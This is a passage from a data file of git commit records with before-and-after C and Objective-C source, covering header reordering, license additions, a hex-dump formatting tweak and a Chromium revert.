_chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,markYoungH\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,jaruba\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,dednal\/chromium.src,patrickm\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,M4sse\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,patrickm\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,ondra-novak\/chromium.src,dushu1203\/chromium.src"}
{"commit":"8c274b950988b1bb4e56ce734f4817dc4788ecaa","old_file":"lib\/tinynotify-cli.c","new_file":"lib\/tinynotify-cli.c","old_contents":"\/* libtinynotify\n * (c) 2011 Michał Górny\n * 2-clause BSD-licensed\n *\/\n\n#include \"config.h\"\n#include \"tinynotify-cli.h\"\n#include \"tinynotify.h\"\n\n#include <stdlib.h>\n#include <unistd.h>\n#include <getopt.h>\n\nNotification notification_new_from_cmdline(int argc, char *argv[]) {\n\tint opterr_backup = opterr;\n\tint arg;\n\n\tconst char *icon = NOTIFICATION_DEFAULT_APP_ICON;\n\tconst char *summary;\n\tconst char *body = NOTIFICATION_NO_BODY;\n\n\tNotification n;\n\n\topterr = 0; \/* be quiet about nonsense args *\/\n\twhile (((arg = getopt(argc, argv, \"i:\"))) != -1) {\n\t\tswitch (arg) {\n\t\t\tcase 'i':\n\t\t\t\ticon = optarg;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\topterr = opterr_backup;\n\n\tif (optind >= argc) {\n\t\t\/* XXX, better error handling? *\/\n\t\treturn NULL;\n\t}\n\n\tsummary = argv[optind++];\n\tif (optind < argc)\n\t\tbody = argv[optind++];\n\n\tn = notification_new(summary, body);\n\tnotification_set_formatting(n, 0);\n\tif (icon)\n\t\tnotification_set_app_icon(n, icon);\n\n\treturn n;\n}\n","new_contents":"\/* libtinynotify\n * (c) 2011 Michał Górny\n * 2-clause BSD-licensed\n *\/\n\n#include \"config.h\"\n#include \"tinynotify.h\"\n#include \"tinynotify-cli.h\"\n\n#include <stdlib.h>\n#include <unistd.h>\n#include <getopt.h>\n\nNotification notification_new_from_cmdline(int argc, char *argv[]) {\n\tint opterr_backup = opterr;\n\tint arg;\n\n\tconst char *icon = NOTIFICATION_DEFAULT_APP_ICON;\n\tconst char *summary;\n\tconst char *body = NOTIFICATION_NO_BODY;\n\n\tNotification n;\n\n\topterr = 0; \/* be quiet about nonsense args *\/\n\twhile (((arg = getopt(argc, argv, \"i:\"))) != -1) {\n\t\tswitch (arg) {\n\t\t\tcase 'i':\n\t\t\t\ticon = optarg;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\topterr = opterr_backup;\n\n\tif (optind >= argc) {\n\t\t\/* XXX, better error handling? *\/\n\t\treturn NULL;\n\t}\n\n\tsummary = argv[optind++];\n\tif (optind < argc)\n\t\tbody = argv[optind++];\n\n\tn = notification_new(summary, body);\n\tnotification_set_formatting(n, 0);\n\tif (icon)\n\t\tnotification_set_app_icon(n, icon);\n\n\treturn n;\n}\n","subject":"Switch header order to ensure local gets used before system one.","message":"Switch header order to ensure local gets used before system one.\n","lang":"C","license":"bsd-2-clause","repos":"mortbauer\/tinynotify-send,mortbauer\/libtinynotify"}
{"commit":"3c219200ac98dc367dcfbbf027efab4f3a3b1475","old_file":"quic\/platform\/api\/quic_test.h","new_file":"quic\/platform\/api\/quic_test.h","old_contents":"\/\/ Copyright (c) 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n#define QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n\n#include \"quic\/platform\/api\/quic_logging.h\"\n#include \"net\/quic\/platform\/impl\/quic_test_impl.h\"\n\nusing QuicFlagSaver = QuicFlagSaverImpl;\n\n\/\/ Defines the base classes to be used in QUIC tests.\nusing QuicTest = QuicTestImpl;\ntemplate <class T>\nusing QuicTestWithParam = QuicTestWithParamImpl<T>;\n\n\/\/ Class which needs to be instantiated in tests which use threads.\nusing ScopedEnvironmentForThreads = ScopedEnvironmentForThreadsImpl;\n\n#define QUIC_TEST_DISABLED_IN_CHROME(name) \\\n  QUIC_TEST_DISABLED_IN_CHROME_IMPL(name)\n\ninline std::string QuicGetTestMemoryCachePath() {\n  return QuicGetTestMemoryCachePathImpl();\n}\n\n#define QUIC_SLOW_TEST(test) QUIC_SLOW_TEST_IMPL(test)\n\n#endif  \/\/ QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n","new_contents":"\/\/ Copyright (c) 2017 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n#define QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n\n#include \"quic\/platform\/api\/quic_logging.h\"\n#include \"net\/quic\/platform\/impl\/quic_test_impl.h\"\n#include \"common\/platform\/api\/quiche_test.h\"\n\nusing QuicFlagSaver = QuicFlagSaverImpl;\n\n\/\/ Defines the base classes to be used in QUIC tests.\nusing QuicTest = QuicTestImpl;\ntemplate <class T>\nusing QuicTestWithParam = QuicTestWithParamImpl<T>;\n\n\/\/ Class which needs to be instantiated in tests which use threads.\nusing ScopedEnvironmentForThreads = ScopedEnvironmentForThreadsImpl;\n\n#define QUIC_TEST_DISABLED_IN_CHROME(name) \\\n  QUIC_TEST_DISABLED_IN_CHROME_IMPL(name)\n\ninline std::string QuicGetTestMemoryCachePath() {\n  return QuicGetTestMemoryCachePathImpl();\n}\n\n#define QUIC_SLOW_TEST(test) QUIC_SLOW_TEST_IMPL(test)\n\n#endif  \/\/ QUICHE_QUIC_PLATFORM_API_QUIC_TEST_H_\n","subject":"Move EXPECT_EQ macro magic from quic\/platform to quiche\/platform.","message":"Move EXPECT_EQ macro magic from quic\/platform to quiche\/platform.\n\nThe purpose of this machinary is to override EXPECT_EQ and similar comparison\nmacros so that -Wsigned-compare actually catches signed-unsigned comparison in\ninternal builds (where gTest implementation is slightly different so otherwise\nthe warning would not be effective).  This CL moves it from\nquic\/platform\/api\/quic_test.h to quiche\/common\/platform\/quiche_test.h, while\nalso adding an include of the latter to the former, to make users of either\nheader benefit from it.\n\nThe change to frame_formatter_test.cc is necessary to avoid the following\nerror:\n\nthird_party\/http2\/tools\/frame_formatter_test.cc:75:3: error: non-const lvalue reference to type 'basic_string<...>' cannot bind to a temporary of type 'basic_string<...>'\n  EXPECT_EQ(\"\\x01 a\", std::move(status_or_parsed).value());\n  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n.\/third_party\/quiche\/common\/platform\/impl\/quiche_test_impl.h:73:3: note: expanded from macro 'EXPECT_EQ'\n  QUIC_LOGGING_INTERNAL_EXPECT_EXT(EqHelper::Compare, ==, val1, val2)\n  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n.\/third_party\/quiche\/common\/platform\/impl\/quiche_test_impl.h:68:3: note: expanded from macro 'QUIC_LOGGING_INTERNAL_EXPECT_EXT'\n  QUIC_LOGGING_INTERNAL_INNER_COMPARE(_comparison_symbol, _val1, _val2);     \\\n  ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n.\/net\/quic\/platform_overrides\/quiche_platform_impl\/quiche_logging_impl.h:164:30: note: expanded from macro 'QUIC_LOGGING_INTERNAL_INNER_COMPARE'\n      const decltype(_val2)& _local_val2 = (_val2);                           \\\n\nPiperOrigin-RevId: 390165392\n","lang":"C","license":"bsd-3-clause","repos":"google\/quiche,google\/quiche,google\/quiche,google\/quiche"}
{"commit":"ec11df6a1272f275bbda22375ee8a84c034e09b4","old_file":"modules\/modinclude.h","new_file":"modules\/modinclude.h","old_contents":"#include \"..\/main.h\"\n\nclass ConfigReader;\nclass ModuleInterface; \/\/ forward-declare so it can be used in modules and server\n#include \"..\/connection.h\" \/\/ declare other classes that use it\n#include \"..\/modules.h\"\n#include \"..\/config.cpp\"\n#include \"..\/modinterface.cpp\"","new_contents":"#include \"..\/main.h\"\n\nclass ConfigReader;\nclass ModuleInterface; \/\/ forward-declare so it can be used in modules and server\n#include \"..\/connection.h\" \/\/ declare other classes that use it\n#include \"..\/modules.h\"\n#include \"..\/config.cpp\"\n#include \"..\/modules.cpp\"\n#include \"..\/modinterface.cpp\"","subject":"Add a file to the module include.","message":"Add a file to the module include.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"addd55dcf27bda9e3f6cfe4301c067276fa67161","old_file":"plugins\/ua_debug_dump_pkgs.c","new_file":"plugins\/ua_debug_dump_pkgs.c","old_contents":"\/* This work is licensed under a Creative Commons CCZero 1.0 Universal License.\n * See http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/ for more information. *\/\n\n#include \"ua_util.h\"\n\n#include <ctype.h>\n#include <stdio.h>\nvoid UA_dump_hex_pkg(UA_Byte* buffer, size_t bufferLen) {\n    printf(\"--------------- HEX Package Start ---------------\\n\");\n    char ascii[17];\n    memset(ascii,0,17);\n    for (size_t i = 0; i < bufferLen; i++)\n    {\n        if (i == 0)\n            printf(\"%08zx \", i);\n        else if (i%16 == 0)\n            printf(\"|%s|\\n%08zx \", ascii, i);\n        if (isprint((int)(buffer[i])))\n            ascii[i%16] = (char)buffer[i];\n        else\n            ascii[i%16] = '.';\n        printf(\"%02X \", (unsigned char)buffer[i]);\n    }\n    size_t fillPos = bufferLen %16;\n    ascii[fillPos] = 0;\n    for (size_t i=fillPos; i<16; i++) {\n        printf(\"   \");\n    }\n    printf(\"|%s|\\n%08zx\\n\", ascii, bufferLen);\n    printf(\"--------------- HEX Package END ---------------\\n\");\n}\n","new_contents":"\/* This work is licensed under a Creative Commons CCZero 1.0 Universal License.\n * See http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/ for more information. *\/\n\n#include \"ua_util.h\"\n\n#include <ctype.h>\n#include <stdio.h>\nvoid UA_dump_hex_pkg(UA_Byte* buffer, size_t bufferLen) {\n    printf(\"--------------- HEX Package Start ---------------\\n\");\n    char ascii[17];\n    memset(ascii,0,17);\n    for (size_t i = 0; i < bufferLen; i++)\n    {\n        if (i == 0)\n            printf(\"%08zx \", i);\n        else if (i%16 == 0)\n            printf(\" |%s|\\n%08zx \", ascii, i);\n        if (isprint((int)(buffer[i])))\n            ascii[i%16] = (char)buffer[i];\n        else\n            ascii[i%16] = '.';\n        if (i%8==0)\n            printf(\" \");\n        printf(\"%02X \", (unsigned char)buffer[i]);\n\n    }\n    size_t fillPos = bufferLen %16;\n    ascii[fillPos] = 0;\n    for (size_t i=fillPos; i<16; i++) {\n        if (i%8==0)\n            printf(\" \");\n        printf(\"   \");\n    }\n    printf(\" |%s|\\n%08zx\\n\", ascii, bufferLen);\n    printf(\"--------------- HEX Package END ---------------\\n\");\n}\n","subject":"Align format with `hexdump -C`","message":"Align format with `hexdump -C`\n","lang":"C","license":"mpl-2.0","repos":"JGrothoff\/open62541,open62541\/open62541,JGrothoff\/open62541,JGrothoff\/open62541,jpfr\/open62541,jpfr\/open62541,open62541\/open62541,open62541\/open62541,StalderT\/open62541,jpfr\/open62541,JGrothoff\/open62541,StalderT\/open62541,StalderT\/open62541,StalderT\/open62541,open62541\/open62541,jpfr\/open62541"}
{"commit":"f412fab9497a47ca77eece623fe53927302948c0","old_file":"TWTValidation\/TWTValidationLocalization.h","new_file":"TWTValidation\/TWTValidationLocalization.h","old_contents":"\/\/\n\/\/  TWTValidationLocalization.h\n\/\/  TWTValidation\n\/\/\n\/\/  Created by Prachi Gauriar on 4\/3\/2014.\n\/\/  Copyright (c) 2014 Two Toasters, LLC. All rights reserved.\n\/\/\n\n#define TWTLocalizedString(key) \\\n    [[NSBundle bundleForClass:[self class]] localizedStringForKey:(key) value:@\"\" table:@\"TWTValidation\"]\n","new_contents":"\/\/\n\/\/  TWTValidationLocalization.h\n\/\/  TWTValidation\n\/\/\n\/\/  Created by Prachi Gauriar on 4\/3\/2014.\n\/\/  Copyright (c) 2014 Two Toasters, LLC.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#define TWTLocalizedString(key) \\\n    [[NSBundle bundleForClass:[self class]] localizedStringForKey:(key) value:@\"\" table:@\"TWTValidation\"]\n","subject":"Add license to localization header","message":"Add license to localization header\n","lang":"C","license":"mit","repos":"twotoasters\/TWTValidation,twotoasters\/TWTValidation,twotoasters\/TWTValidation"}
{"commit":"a305a32942efd7c37196b6229ac765d5c850d1fa","old_file":"bibdesk\/BDSKSearchGroupViewController.h","new_file":"bibdesk\/BDSKSearchGroupViewController.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKSearchGroupViewController.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/2\/07.\n\/*\n This software is Copyright (c) 2007\n Christiaan Hofman. All rights reserved.\n \n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n \n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the\n distribution.\n \n - Neither the name of Christiaan Hofman nor the names of any\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@class BDSKCollapsibleView, BDSKEdgeView, BDSKSearchGroup;\n\n@interface BDSKSearchGroupViewController : NSWindowController {\n    IBOutlet BDSKCollapsibleView *view;\n    IBOutlet BDSKEdgeView *edgeView;\n    IBOutlet NSSearchField *searchField;\n    IBOutlet NSButton *searchButton;\n    \n    BDSKSearchGroup *group;\n}\n\n- (NSView *)view;\n\n- (BDSKSearchGroup *)group;\n- (void)setGroup:(BDSKSearchGroup *)newGroup;\n\n- (IBAction)changeSearchTerm:(id)sender;\n- (IBAction)nextSearch:(id)sender;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)\n","lang":"C","license":"bsd-3-clause","repos":"JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim"}
{"commit":"895dedeb2104e08ae4256d6f8f862798cb4d92f0","old_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","new_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  scoped_ptr<Panel> panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  Panel* panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","subject":"Revert 88154 - Use scoped_ptr for Panel in PanelBrowserWindowGTK. Reason: PanelBrowserWindow dtor is now complex and cannot be inlined.","message":"Revert 88154 - Use scoped_ptr for Panel in PanelBrowserWindowGTK.\nReason: PanelBrowserWindow dtor is now complex and cannot be inlined.\n\nBUG=None\nTEST=Verified WindowOpenPanel test now hits Panel destructor.\n\nReview URL: http:\/\/codereview.chromium.org\/7120011\n\nTBR=jennb@chromium.org\nReview URL: http:\/\/codereview.chromium.org\/7003035\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@88159 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,keishi\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,robclark\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,rogerwang\/chromium,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,M4sse\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,robclark\/chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,keishi\/chromium,robclark\/chromium,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,rogerwang\/chromium,keishi\/chromium,patrickm\/chromium.src,ChromiumWebApps\/chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,Jonekee\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Chilledheart\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,patrickm\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,robclark\/chromium,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,jaruba\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,rogerwang\/chromium,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,Just-D\/chromium-1,axinging\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,ded